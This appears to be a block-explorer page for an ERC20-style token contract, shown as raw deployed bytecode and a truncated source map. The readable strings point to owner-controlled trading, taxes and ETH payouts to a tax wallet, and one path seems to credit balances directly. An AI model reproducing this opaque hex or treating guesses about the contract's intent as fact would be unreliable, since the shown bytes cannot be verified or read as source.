5ffd5b5f546001600160a01b031633146106be5760405162461bcd60e51b815260040161050d90611875565b601054600160a01b900460ff16156107185760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161050d565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107619030906107536009600a611850565b610458906305f5e10061185e565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d591906118aa565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610834573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085891906118aa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c691906118aa565b601080546001600160a01b039283166001600160a01b0319909116179055600f541663f305d719473061090d816001600160a01b03165f9081526001602052604090205490565b5f806109205f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610986573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109ab91906118c5565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a00573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2491906118f0565b506010805462ff00ff60a01b19166201000160a01b179055565b5f6103d6338484610b6e565b6001600160a01b038316610aac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050d565b6001600160a01b038216610b0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bd25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050d565b6001600160a01b038216610c345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050d565b5f8111610c955760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050d565b601054600160a01b900460ff16610d28576001600160a01b0383165f9081526003602052604090205460ff1680610ce357506001600160a01b0382165f9081526003602052604090205460ff165b610d285760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161050d565b601054600160b01b900460ff161580610d4a5750601054600160a81b900460ff165b15610ddf576001600160a01b0383165f90815260016020526040902054610d7190826111b0565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610d9f90826111f8565b6001600160a01b038084165f8181526001602052604090819020939093559151908516905f80516020611a1a83398151915290610b619085815260200190565b5f546001600160a01b03848116911614801590610e0957505f546001600160a01b03838116911614155b15610fc1576010546001600160a01b038481169116148015610e395750600f546001600160a01b03838116911614155b8015610e5d57506001600160a01b0382165f9081526003602052604090205460ff16155b15610f4357600b54811115610eb45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161050d565b600c5481610ed6846001600160a01b03165f9081526001602052604090205490565b610ee0919061190f565b1115610f2e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161050d565b600a8054905f610f3d83611922565b91905055505b305f90815260016020526040902054601054600160a81b900460ff16158015610f7957506010546001600160a01b038481169116145b8015610f8e5750601054600160b01b900460ff165b15610fbf578015610fb657610fb6610fb183610fac84600d54611256565b611256565b611009565b610fbf47611179565b505b610fcc83838361126a565b505050565b5f8184841115610ff45760405162461bcd60e51b815260040161050d9190611659565b505f611000848661193a565b95945050505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061104f5761104f61194d565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110a6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110ca91906118aa565b816001815181106110dd576110dd61194d565b6001600160a01b039283166020918202929092010152600f546111039130911684610a4a565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061113b9085905f90869030904290600401611961565b5f604051808303815f87803b158015611152575f80fd5b505af1158015611164573d5f803e3d5ffd5b50506010805460ff60a81b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104b4573d5f803e3d5ffd5b5f6111f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fd1565b9392505050565b5f80611204838561190f565b9050838110156111f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050d565b5f81831161126457826111f1565b50919050565b5f811561133357601054600160b01b900460ff1680156112a55750601254600554600454611298919061185e565b6112a390600261190f565b115b80156112c957506001600160a01b0384165f9081526003602052604090205460ff16155b15611318576112d78261143c565b6010549091506001600160a01b03848116911614801561130057506001600160a01b0384163014155b156113135761131084848461146a565b90505b611333565b600e546113309085906001600160a01b0316846114db565b90505b801561138a57305f908152600160205260408120805483929061135790849061190f565b909155505060405181815230906001600160a01b038616905f80516020611a1a8339815191529060200160405180910390a35b6001600160a01b0384165f908152600160205260409020546113ac90836111b0565b6001600160a01b0385165f908152600160205260409020556113ef6113d183836111b0565b6001600160a01b0385165f90815260016020526040902054906111f8565b6001600160a01b038085165f8181526001602052604090209290925585165f80516020611a1a83398151915261142585856111b0565b60405190815260200160405180910390a350505050565b5f806111f16064611464600854600a54116114595760065461145d565b6004545b8690611573565b906115f1565b6010545f908190600160b01b900460ff16801561149457506010546001600160a01b038581169116145b80156114a957506001600160a01b0385163014155b156114d3576110006064611464600954600a54116114c95760075461145d565b6005548690611573565b949350505050565b5f80806012546008546114ee919061185e565b101580156114fe57506012548310155b156114d3576001600160a01b0384165f908152600160205260408120805485929061152a90849061190f565b92505081905550836001600160a01b0316856001600160a01b03165f80516020611a1a8339815191528560405161156391815260200190565b60405180910390a3949350505050565b5f825f0361158257505f6103da565b5f61158d838561185e565b90508261159a85836119d2565b146111f15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050d565b5f6111f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f818361164d5760405162461bcd60e51b815260040161050d9190611659565b505f61100084866119d2565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104e1575f80fd5b5f80604083850312156116b3575f80fd5b82356116be8161168e565b946020939093013593505050565b5f805f606084860312156116de575f80fd5b83356116e98161168e565b925060208401356116f98161168e565b929592945050506040919091013590565b5f6020828403121561171a575f80fd5b81356111f18161168e565b5f8060408385031215611736575f80fd5b82356117418161168e565b915060208301356117518161168e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117aa57815f19048211156117905761179061175c565b8085161561179d57918102915b93841c9390800290611775565b509250929050565b5f826117c0575060016103da565b816117cc57505f6103da565b81600181146117e257600281146117ec57611808565b60019150506103da565b60ff8411156117fd576117fd61175c565b50506001821b6103da565b5060208310610133831016604e8410600b841016171561182b575081810a6103da565b6118358383611770565b805f19048211156118485761184861175c565b029392505050565b5f6111f160ff8416836117b2565b80820281158282048414176103da576103da61175c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118ba575f80fd5b81516111f18161168e565b5f805f606084860312156118d7575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611900575f80fd5b815180151581146111f1575f80fd5b808201808211156103da576103da61175c565b5f600182016119335761193361175c565b5060010190565b818103818111156103da576103da61175c565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119b15784516001600160a01b03168352938301939183019160010161198c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119ec57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212207fa2de446e76e6d42c7257263b8104a7757154d457579ffc039313462fe0ee0e64736f6c63430008190033
Deployed Bytecode Sourcemap
3933:10276:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5765:83;;;;;;;;;;-1:-1:-1;5835:5:0;;;;;;;;;;;;-1:-1:-1;;;5835:5:0;;;;5765:83;;;;;;;:::i;:::-;;;;;;;;6671:193;;;;;;;;;;-1:-1:-1;6671:193:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6671:193:0;893:187:1;4839:54:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4839:54:0;1085:177:1;6042:95:0;;;;;;;;;;;;;:::i;6872:446::-;;;;;;;;;;-1:-1:-1;6872:446:0;;;;;:::i;:::-;;:::i;5951:83::-;;;;;;;;;;-1:-1:-1;5951:83:0;;4636:1;1870:36:1;;1858:2;1843:18;5951:83:0;1728:184:1;4994:28:0;;;;;;;;;;-1:-1:-1;4994:28:0;;;;-1:-1:-1;;;;;4994:28:0;;;;;;-1:-1:-1;;;;;2081:32:1;;;2063:51;;2051:2;2036:18;4994:28:0;1917:203:1;13426:361:0;;;;;;;;;;;;;:::i;:::-;;13795:184;;;;;;;;;;;;;:::i;6145:119::-;;;;;;;;;;-1:-1:-1;6145:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6238:18:0;6211:7;6238:18;;;:9;:18;;;;;;;6145:119;2885:148;;;;;;;;;;;;;:::i;12243:162::-;;;;;;;;;;;;;:::i;4713:55::-;;;;;;;;;;;;;;;;13987:219;;;;;;;;;;;;;:::i;12508:873::-;;;;;;;;;;;;;:::i;2671:79::-;;;;;;;;;;-1:-1:-1;2709:7:0;2736:6;-1:-1:-1;;;;;2736:6:0;2671:79;;4775:57;;;;;;;;;;;;;;;;5856:87;;;;;;;;;;-1:-1:-1;5928:7:0;;;;;;;;;;;;-1:-1:-1;;;5928:7:0;;;;5856:87;;6272:199;;;;;;;;;;-1:-1:-1;6272:199:0;;;;;:::i;:::-;;:::i;6479:184::-;;;;;;;;;;-1:-1:-1;6479:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6628:18:0;;;6596:7;6628:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6479:184;6671:193;6773:4;6795:39;291:10;6818:7;6827:6;6795:8;:39::i;:::-;-1:-1:-1;6852:4:0;6671:193;;;;;:::o;6042:95::-;6095:7;4693:13;4636:1;4693:2;:13;:::i;:::-;4679:27;;:11;:27;:::i;:::-;6115:14;;6042:95;:::o;6872:446::-;7004:4;7021:36;7031:6;7039:9;7050:6;7021:9;:36::i;:::-;7068:220;7091:6;291:10;7139:138;7195:6;7139:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7139:19:0;;;;;;:11;:19;;;;;;;;291:10;7139:33;;;;;;;;;;:37;:138::i;:::-;7068:8;:220::i;:::-;-1:-1:-1;7306:4:0;6872:446;;;;;:::o;13426:361::-;13492:10;;-1:-1:-1;;;;;13492:10:0;291;-1:-1:-1;;;;;13476:26:0;;13468:35;;;;;;13555:4;13514:20;6238:18;;;:9;:18;;;;;;13576:16;;13572:79;;13609:30;13626:12;13609:16;:30::i;:::-;13682:21;13718:14;;13714:66;;13749:19;13757:10;13749:7;:19::i;:::-;13457:330;;13426:361::o;13795:184::-;13861:10;;-1:-1:-1;;;;;13861:10:0;291;-1:-1:-1;;;;;13845:26:0;;13837:35;;;;;;13912:21;13944:27;13912:21;13944:7;:27::i;:::-;13826:153;13795:184::o;2885:148::-;2798:6;;-1:-1:-1;;;;;2798:6:0;291:10;2798:22;2790:67;;;;-1:-1:-1;;;2790:67:0;;;;;;;:::i;:::-;;;;;;;;;2992:1:::1;2976:6:::0;;2955:40:::1;::::0;-1:-1:-1;;;;;2976:6:0;;::::1;::::0;2955:40:::1;::::0;2992:1;;2955:40:::1;3023:1;3006:19:::0;;-1:-1:-1;;;;;;3006:19:0::1;::::0;;2885:148::o;12243:162::-;2798:6;;-1:-1:-1;;;;;2798:6:0;291:10;2798:22;2790:67;;;;-1:-1:-1;;;2790:67:0;;;;;;;:::i;:::-;4693:13:::1;4636:1;4693:2;:13;:::i;:::-;4679:27;::::0;:11:::1;:27;:::i;:::-;12297:12;:22:::0;4693:13:::1;4636:1;4693:2;:13;:::i;:::-;4679:27;::::0;:11:::1;:27;:::i;:::-;12330:14;:24:::0;12370:27:::1;4693:13;4636:1;4693:2;:13;:::i;:::-;4679:27;::::0;:11:::1;:27;:::i;:::-;12370;::::0;1231:25:1;;;1219:2;1204:18;12370:27:0::1;;;;;;;12243:162::o:0;13987:219::-;2709:7;2736:6;-1:-1:-1;;;;;2736:6:0;14043:10;:21;14035:30;;;;;;14108:1;14084:21;:25;14076:60;;;;-1:-1:-1;;;14076:60:0;;5015:2:1;14076:60:0;;;4997:21:1;5054:2;5034:18;;;5027:30;-1:-1:-1;;;5073:18:1;;;5066:52;5135:18;;14076:60:0;4813:346:1;14076:60:0;14147:51;;14155:10;;14176:21;14147:51;;;;;;;;;14176:21;14155:10;14147:51;;;;;;;;;;;;;;;;;;;12508:873;2798:6;;-1:-1:-1;;;;;2798:6:0;291:10;2798:22;2790:67;;;;-1:-1:-1;;;2790:67:0;;;;;;;:::i;:::-;12572:11:::1;::::0;-1:-1:-1;;;12572:11:0;::::1;;;12571:12;12563:48;;;::::0;-1:-1:-1;;;12563:48:0;;5366:2:1;12563:48:0::1;::::0;::::1;5348:21:1::0;5405:2;5385:18;;;5378:30;5444:25;5424:18;;;5417:53;5487:18;;12563:48:0::1;5164:347:1::0;12563:48:0::1;12622:15;:104:::0;;-1:-1:-1;;;;;;12622:104:0::1;12673:42;12622:104:::0;;::::1;::::0;;;12739:58:::1;::::0;12756:4:::1;::::0;4693:13:::1;4636:1;4693:2;:13;:::i;:::-;4679:27;::::0;:11:::1;:27;:::i;12739:58::-;12842:15;;;;;;;;;-1:-1:-1::0;;;;;12842:15:0::1;-1:-1:-1::0;;;;;12842:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12824:55:0::1;;12902:4;12922:15;;;;;;;;;-1:-1:-1::0;;;;;12922:15:0::1;-1:-1:-1::0;;;;;12922:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12824:131;::::0;-1:-1:-1;;;;;;12824:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6002:15:1;;;12824:131:0::1;::::0;::::1;5984:34:1::0;6054:15;;6034:18;;;6027:43;5919:18;;12824:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12808:13;:147:::0;;-1:-1:-1;;;;;12808:147:0;;::::1;-1:-1:-1::0;;;;;;12808:147:0;;::::1;;::::0;;12968:15:::1;::::0;::::1;:31;13007:21;13052:4;13072:24;13052:4:::0;-1:-1:-1;;;;;6238:18:0;6211:7;6238:18;;;:9;:18;;;;;;;6145:119;13072:24:::1;13111:1;13127::::0;13143:7:::1;2709::::0;2736:6;-1:-1:-1;;;;;2736:6:0;;2671:79;13143:7:::1;12968:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12968:223:0;;;-1:-1:-1;;;;;6440:15:1;;;12968:223:0::1;::::0;::::1;6422:34:1::0;6472:18;;;6465:34;;;;6515:18;;;6508:34;;;;6558:18;;;6551:34;6622:15;;;6601:19;;;6594:44;13165:15:0::1;6654:19:1::0;;;6647:35;6356:19;;12968:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13209:13:0::1;::::0;13254:15:::1;::::0;13202:111:::1;::::0;-1:-1:-1;;;13202:111:0;;-1:-1:-1;;;;;13254:15:0;;::::1;13202:111;::::0;::::1;7178:51:1::0;-1:-1:-1;;7245:18:1;;;7238:34;13209:13:0;::::1;::::0;-1:-1:-1;13202:29:0::1;::::0;7151:18:1;;13202:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13326:11:0::1;:18:::0;;-1:-1:-1;;;;13355:18:0;-1:-1:-1;;;13355:18:0;;;12508:873::o;6272:199::-;6377:4;6399:42;291:10;6423:9;6434:6;6399:9;:42::i;7326:369::-;-1:-1:-1;;;;;7453:19:0;;7445:68;;;;-1:-1:-1;;;7445:68:0;;7767:2:1;7445:68:0;;;7749:21:1;7806:2;7786:18;;;7779:30;7845:34;7825:18;;;7818:62;-1:-1:-1;;;7896:18:1;;;7889:34;7940:19;;7445:68:0;7565:400:1;7445:68:0;-1:-1:-1;;;;;7532:21:0;;7524:68;;;;-1:-1:-1;;;7524:68:0;;8172:2:1;7524:68:0;;;8154:21:1;8211:2;8191:18;;;8184:30;8250:34;8230:18;;;8223:62;-1:-1:-1;;;8301:18:1;;;8294:32;8343:19;;7524:68:0;7970:398:1;7524:68:0;-1:-1:-1;;;;;7603:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7655:32;;1231:25:1;;;7655:32:0;;1204:18:1;7655:32:0;;;;;;;;7326:369;;;:::o;7703:1712::-;-1:-1:-1;;;;;7825:18:0;;7817:68;;;;-1:-1:-1;;;7817:68:0;;8575:2:1;7817:68:0;;;8557:21:1;8614:2;8594:18;;;8587:30;8653:34;8633:18;;;8626:62;-1:-1:-1;;;8704:18:1;;;8697:35;8749:19;;7817:68:0;8373:401:1;7817:68:0;-1:-1:-1;;;;;7904:16:0;;7896:64;;;;-1:-1:-1;;;7896:64:0;;8981:2:1;7896:64:0;;;8963:21:1;9020:2;9000:18;;;8993:30;9059:34;9039:18;;;9032:62;-1:-1:-1;;;9110:18:1;;;9103:33;9153:19;;7896:64:0;8779:399:1;7896:64:0;7988:1;7979:6;:10;7971:64;;;;-1:-1:-1;;;7971:64:0;;9385:2:1;7971:64:0;;;9367:21:1;9424:2;9404:18;;;9397:30;9463:34;9443:18;;;9436:62;-1:-1:-1;;;9514:18:1;;;9507:39;9563:19;;7971:64:0;9183:405:1;7971:64:0;8051:11;;-1:-1:-1;;;8051:11:0;;;;8046:179;;-1:-1:-1;;;;;8105:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;8133:22:0;;;;;;:18;:22;;;;;;;;8105:50;8079:134;;;;-1:-1:-1;;;8079:134:0;;9795:2:1;8079:134:0;;;9777:21:1;9834:2;9814:18;;;9807:30;-1:-1:-1;;;9853:18:1;;;9846:52;9915:18;;8079:134:0;9593:346:1;8079:134:0;8242:11;;-1:-1:-1;;;8242:11:0;;;;8241:12;;:22;;-1:-1:-1;8257:6:0;;-1:-1:-1;;;8257:6:0;;;;8241:22;8237:223;;;-1:-1:-1;;;;;8298:15:0;;;;;;:9;:15;;;;;;:27;;8318:6;8298:19;:27::i;:::-;-1:-1:-1;;;;;8280:15:0;;;;;;;:9;:15;;;;;;:45;;;;8356:13;;;;;;;:25;;8374:6;8356:17;:25::i;:::-;-1:-1:-1;;;;;8340:13:0;;;;;;;:9;:13;;;;;;;:41;;;;8401:26;;;;;;-1:-1:-1;;;;;;;;;;;8401:26:0;;;8420:6;1231:25:1;;1219:2;1204:18;;1085:177;8237:223:0;2709:7;2736:6;-1:-1:-1;;;;;8476:15:0;;;2736:6;;8476:15;;;;:32;;-1:-1:-1;2709:7:0;2736:6;-1:-1:-1;;;;;8495:13:0;;;2736:6;;8495:13;;8476:32;8472:895;;;8555:13;;-1:-1:-1;;;;;8547:21:0;;;8555:13;;8547:21;:72;;;;-1:-1:-1;8603:15:0;;-1:-1:-1;;;;;8589:30:0;;;8603:15;;8589:30;;8547:72;:116;;;;-1:-1:-1;;;;;;8641:22:0;;;;;;:18;:22;;;;;;;;8640:23;8547:116;8525:440;;;8716:12;;8706:6;:22;;8698:60;;;;-1:-1:-1;;;8698:60:0;;10146:2:1;8698:60:0;;;10128:21:1;10185:2;10165:18;;;10158:30;10224:27;10204:18;;;10197:55;10269:18;;8698:60:0;9944:349:1;8698:60:0;8833:14;;8823:6;8807:13;8817:2;-1:-1:-1;;;;;6238:18:0;6211:7;6238:18;;;:9;:18;;;;;;;6145:119;8807:13;:22;;;;:::i;:::-;:40;;8777:140;;;;-1:-1:-1;;;8777:140:0;;10630:2:1;8777:140:0;;;10612:21:1;10669:2;10649:18;;;10642:30;10708:28;10688:18;;;10681:56;10754:18;;8777:140:0;10428:350:1;8777:140:0;8938:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8525:440;9030:4;8981:28;6238:18;;;:9;:18;;;;;;9058:6;;-1:-1:-1;;;9058:6:0;;;;9057:7;:30;;;;-1:-1:-1;9074:13:0;;-1:-1:-1;;;;;9068:19:0;;;9074:13;;9068:19;9057:30;:45;;;;-1:-1:-1;9091:11:0;;-1:-1:-1;;;9091:11:0;;;;9057:45;9053:303;;;9127:24;;9123:168;;9174:117;9217:51;9221:6;9229:38;9233:20;9255:11;;9229:3;:38::i;:::-;9217:3;:51::i;:::-;9174:16;:117::i;:::-;9310:30;9318:21;9310:7;:30::i;:::-;8510:857;8472:895;9379:28;9390:4;9396:2;9400:6;9379:10;:28::i;:::-;7703:1712;;;:::o;1473:224::-;1593:7;1629:12;1621:6;;;;1613:29;;;;-1:-1:-1;;;1613:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1653:9:0;1665:5;1669:1;1665;:5;:::i;:::-;1653:17;1473:224;-1:-1:-1;;;;;1473:224:0:o;11752:483::-;5345:6;:13;;-1:-1:-1;;;;5345:13:0;-1:-1:-1;;;5345:13:0;;;11854:16:::1;::::0;;11868:1:::1;11854:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11854:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11854:16:0::1;11830:40;;11899:4;11881;11886:1;11881:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11881:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11925:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11925:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11881:7;;11925:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11915:4;11920:1;11915:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11915:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11990:15:::1;::::0;11958:62:::1;::::0;11975:4:::1;::::0;11990:15:::1;12008:11:::0;11958:8:::1;:62::i;:::-;12031:15;::::0;:196:::1;::::0;-1:-1:-1;;;12031:196:0;;-1:-1:-1;;;;;12031:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12112:11;;12031:15:::1;::::0;12154:4;;12181::::1;::::0;12201:15:::1;::::0;12031:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5381:6:0;:14;;-1:-1:-1;;;;5381:14:0;;;-1:-1:-1;;;;11752:483:0:o;12413:87::-;12465:10;;:27;;-1:-1:-1;;;;;12465:10:0;;;;:27;;;;;12485:6;;12465:10;:27;:10;:27;12485:6;12465:10;:27;;;;;;;;;;;;;;;;;;;1329:136;1387:7;1414:43;1418:1;1421;1414:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1407:50;1329:136;-1:-1:-1;;;1329:136:0:o;1142:179::-;1200:7;;1232:5;1236:1;1232;:5;:::i;:::-;1220:17;;1261:1;1256;:6;;1248:46;;;;-1:-1:-1;;;1248:46:0;;12507:2:1;1248:46:0;;;12489:21:1;12546:2;12526:18;;;12519:30;12585:29;12565:18;;;12558:57;12632:18;;1248:46:0;12305:351:1;11637:107:0;11694:7;11726:1;11722;:5;11721:15;;11735:1;11721:15;;;-1:-1:-1;11731:1:0;11637:107;-1:-1:-1;11637:107:0:o;10205:997::-;10321:17;10357:10;;10353:507;;10406:11;;-1:-1:-1;;;10406:11:0;;;;:84;;;;;10476:13;;10455;;10440:12;;:28;;;;:::i;:::-;10439:34;;10472:1;10439:34;:::i;:::-;:50;10406:84;:130;;;;-1:-1:-1;;;;;;10512:24:0;;;;;;:18;:24;;;;;;;;10511:25;10406:130;10384:465;;;10583:14;10590:6;10583;:14::i;:::-;10626:13;;10571:26;;-1:-1:-1;;;;;;10620:19:0;;;10626:13;;10620:19;:44;;;;-1:-1:-1;;;;;;10643:21:0;;10659:4;10643:21;;10620:44;10616:129;;;10701:24;10708:4;10714:2;10718:6;10701;:24::i;:::-;10689:36;;10616:129;10384:465;;;10814:10;;10797:36;;10808:4;;-1:-1:-1;;;;;10814:10:0;10826:6;10797:10;:36::i;:::-;10785:48;;10384:465;10876:13;;10872:143;;10924:4;10906:24;;;;:9;:24;;;;;:37;;10934:9;;10906:24;:37;;10934:9;;10906:37;:::i;:::-;;;;-1:-1:-1;;10963:40:0;;1231:25:1;;;10986:4:0;;-1:-1:-1;;;;;10963:40:0;;;-1:-1:-1;;;;;;;;;;;10963:40:0;1219:2:1;1204:18;10963:40:0;;;;;;;10872:143;-1:-1:-1;;;;;11043:15:0;;;;;;:9;:15;;;;;;:27;;11063:6;11043:19;:27::i;:::-;-1:-1:-1;;;;;11025:15:0;;;;;;:9;:15;;;;;:45;11097:40;11115:21;:6;11126:9;11115:10;:21::i;:::-;-1:-1:-1;;;;;11097:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11081:13:0;;;;;;;:9;:13;;;;;:56;;;;11153:41;;-1:-1:-1;;;;;;;;;;;11172:21:0;:6;11183:9;11172:10;:21::i;:::-;11153:41;;1231:25:1;;;1219:2;1204:18;11153:41:0;;;;;;;10310:892;10205:997;;;:::o;9423:257::-;9478:7;9498:17;9538:107;9641:3;9538:84;9576:12;;9564:9;;:24;9563:58;;9607:14;;9563:58;;;9592:12;;9563:58;9538:6;;:24;:84::i;:::-;:102;;:107::i;9688:509::-;9855:11;;9803:7;;;;-1:-1:-1;;;9855:11:0;;;;:34;;;;-1:-1:-1;9876:13:0;;-1:-1:-1;;;;;9870:19:0;;;9876:13;;9870:19;9855:34;:59;;;;-1:-1:-1;;;;;;9893:21:0;;9909:4;9893:21;;9855:59;9851:312;;;9943:208;10147:3;9943:181;10007:13;;9995:9;;:25;9994:111;;10090:15;;9994:111;;;10049:13;;9943:6;;:28;:181::i;9851:312::-;10180:9;9688:509;-1:-1:-1;;;;9688:509:0:o;11210:419::-;11329:7;11349:15;11425:7;11408:13;;11393:12;;:28;;;;:::i;:::-;:39;;:68;;;;;11448:13;;11436:8;:25;;11393:68;11375:222;;;-1:-1:-1;;;;;11488:25:0;;;;;;:9;:25;;;;;:37;;11517:8;;11488:25;:37;;11517:8;;11488:37;:::i;:::-;;;;;;;;11568:5;-1:-1:-1;;;;;11545:40:0;11554:4;-1:-1:-1;;;;;11545:40:0;-1:-1:-1;;;;;;;;;;;11576:8:0;11545:40;;;;1231:25:1;;1219:2;1204:18;;1085:177;11545:40:0;;;;;;;;11614:7;11210:419;-1:-1:-1;;;;11210:419:0:o;1705:246::-;1763:7;1787:1;1792;1787:6;1783:47;;-1:-1:-1;1817:1:0;1810:8;;1783:47;1840:9;1852:5;1856:1;1852;:5;:::i;:::-;1840:17;-1:-1:-1;1885:1:0;1876:5;1880:1;1840:17;1876:5;:::i;:::-;:10;1868:56;;;;-1:-1:-1;;;1868:56:0;;13085:2:1;1868:56:0;;;13067:21:1;13124:2;13104:18;;;13097:30;13163:34;13143:18;;;13136:62;-1:-1:-1;;;13214:18:1;;;13207:31;13255:19;;1868:56:0;12883:397:1;1959:132:0;2017:7;2044:39;2048:1;2051;2044:39;;;;;;;;;;;;;;;;;2219:7;2254:12;2247:5;2239:28;;;;-1:-1:-1;;;2239:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2278:9:0;2290:5;2294:1;2290;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558: